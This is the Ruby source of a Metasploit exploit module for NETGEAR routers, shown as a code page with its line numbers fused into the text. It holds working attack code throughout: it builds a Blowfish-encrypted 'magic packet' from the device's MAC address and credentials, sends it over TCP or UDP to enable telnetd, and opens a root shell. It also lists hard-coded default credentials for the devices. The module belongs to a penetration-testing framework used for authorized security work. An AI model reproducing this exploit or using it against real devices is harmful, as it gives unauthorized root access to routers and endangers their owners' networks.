Path: blob/master/modules/exploits/linux/telnet/netgear_telnetenable.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote67Rank = ExcellentRanking89include Msf::Exploit::Remote::Udp10include Msf::Exploit::Remote::Tcp11include Msf::Exploit::Capture1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'NETGEAR TelnetEnable',18'Description' => %q{19This module sends a magic packet to a NETGEAR device to enable telnetd.20Upon successful connect, a root shell should be presented to the user.21},22'Author' => [23'Paul Gebheim', # Python PoC (TCP)24'insanid', # Python PoC (UDP)25'wvu' # Metasploit module26],27'References' => [28['URL', 'https://wiki.openwrt.org/toh/netgear/telnet.console'],29['URL', 'https://github.com/cyanitol/netgear-telenetenable'],30['URL', 'https://github.com/insanid/netgear-telenetenable']31],32'DisclosureDate' => '2009-10-30', # Python PoC (TCP)33'License' => MSF_LICENSE,34'Platform' => 'unix',35'Arch' => ARCH_CMD,36'Privileged' => true,37'Payload' => {38'Compat' => {39'PayloadType' => 'cmd_interact',40'ConnectionType' => 'find'41}42},43'Targets' => [44[45'Automatic (detect TCP or UDP)',46proto: :auto47],48[49'TCP (typically older devices)',50proto: :tcp,51username: 'Gearguy',52password: 'Geardog'53],54[55'UDP (typically newer devices)',56proto: :udp,57username: 'admin',58password: 'password'59]60],61'DefaultTarget' => 0,62'Notes' => {63'Reliability' => UNKNOWN_RELIABILITY,64'Stability' => UNKNOWN_STABILITY,65'SideEffects' => UNKNOWN_SIDE_EFFECTS66}67)68)6970register_options([71Opt::RPORT(23),72OptString.new('MAC', [false, 'MAC address of device']),73OptString.new('USERNAME', [false, 'Username on device']),74OptString.new('PASSWORD', [false, 'Password on device'])75])76end7778def post_auth?79true80end8182def default_credential?83true84end8586def check87# Run through protocol detection88detect_proto8990# This is a gamble, but it's the closest we can get91if @proto == :tcp92CheckCode::Detected93else94CheckCode::Unknown95end96end9798def exploit99# Try to do the exploit unless telnetd is detected100@do_exploit = true101102# Detect TCP or UDP and presence of telnetd103@proto = target[:proto]104detect_proto if @proto == :auto105106if @do_exploit107# Use supplied or ARP-cached MAC address108configure_mac109# Use supplied or default creds110configure_creds111# Shell it112exploit_telnetenabled113end114115# Connect to the shell116connect_telnetd117end118119def detect_proto120begin121connect122123res = begin124sock.get_once || ''125rescue EOFError126''127end128129# telnetenabled returns no data, unlike telnetd130if res.length == 0131print_good('Detected telnetenabled on TCP')132else133print_good('Detected telnetd on TCP')134@do_exploit = false135end136137@proto = :tcp138# It's UDP... and we may not get an ICMP error...139rescue Rex::ConnectionError140print_good('Detected telnetenabled on UDP')141@proto = :udp142ensure143disconnect144end145end146147def configure_mac148@mac = datastore['MAC']149150return if @mac151152print_status('Attempting to discover MAC address via ARP')153154begin155open_pcap156@mac = lookup_eth(rhost).first157rescue RuntimeError => e158fail_with(Failure::BadConfig, "#{e}. Are you root?")159ensure160close_pcap161end162163if @mac164print_good("Found MAC address #{@mac}")165else166fail_with(Failure::Unknown, 'Could not find MAC address')167end168end169170def configure_creds171@username = datastore['USERNAME'] || target[:username]172@password = datastore['PASSWORD'] || target[:password]173174# Try to use default creds if no creds were found175unless @username && @password176tgt = targets.find { |t| t[:proto] == @proto }177@username = tgt[:username]178@password = tgt[:password]179end180181print_good("Using creds #{@username}:#{@password}")182end183184def exploit_telnetenabled185print_status('Generating magic packet')186payload = magic_packet(@mac, @username, @password)187188begin189print_status("Connecting to telnetenabled via #{@proto.upcase}")190@proto == :tcp ? connect : connect_udp191print_status('Sending magic packet')192@proto == :tcp ? sock.put(payload) : udp_sock.put(payload)193rescue Rex::ConnectionError194fail_with(Failure::Disconnected, 'Something happened mid-connection!')195ensure196print_status('Disconnecting from telnetenabled')197@proto == :tcp ? disconnect : disconnect_udp198end199200# Wait a couple seconds for telnetd to come up201print_status('Waiting for telnetd')202sleep(2)203end204205def connect_telnetd206print_status('Connecting to telnetd')207connect208handler(sock)209end210211# NOTE: This is almost a verbatim copy of the Python PoC212def magic_packet(mac, username, password)213mac = mac.gsub(/[:-]/, '').upcase214215if mac.length != 12216fail_with(Failure::BadConfig, 'MAC must be 12 bytes without : or -')217end218just_mac = mac.ljust(0x10, "\x00")219220if username.length > 0x10221fail_with(Failure::BadConfig, 'USERNAME must be <= 16 bytes')222end223just_username = username.ljust(0x10, "\x00")224225if @proto == :tcp226if password.length > 0x10227fail_with(Failure::BadConfig, 'PASSWORD must be <= 16 bytes')228end229just_password = password.ljust(0x10, "\x00")230elsif @proto == :udp231# Thanks to Roberto Frenna for the reserved field analysis232if password.length > 0x21233fail_with(Failure::BadConfig, 'PASSWORD must be <= 33 bytes')234end235just_password = password.ljust(0x21, "\x00")236end237238cleartext = (just_mac + just_username + just_password).ljust(0x70, "\x00")239md5_key = Rex::Text.md5_raw(cleartext)240241payload = byte_swap((md5_key + cleartext).ljust(0x80, "\x00"))242243secret_key = 'AMBIT_TELNET_ENABLE+' + password244245byte_swap(blowfish_encrypt(secret_key, payload))246end247248def blowfish_encrypt(secret_key, payload)249cipher = OpenSSL::Cipher.new('bf-ecb').encrypt250251cipher.padding = 0252cipher.key_len = secret_key.length253cipher.key = secret_key254255cipher.update(payload) + cipher.final256end257258def byte_swap(data)259data.unpack('N*').pack('V*')260end261262end263264265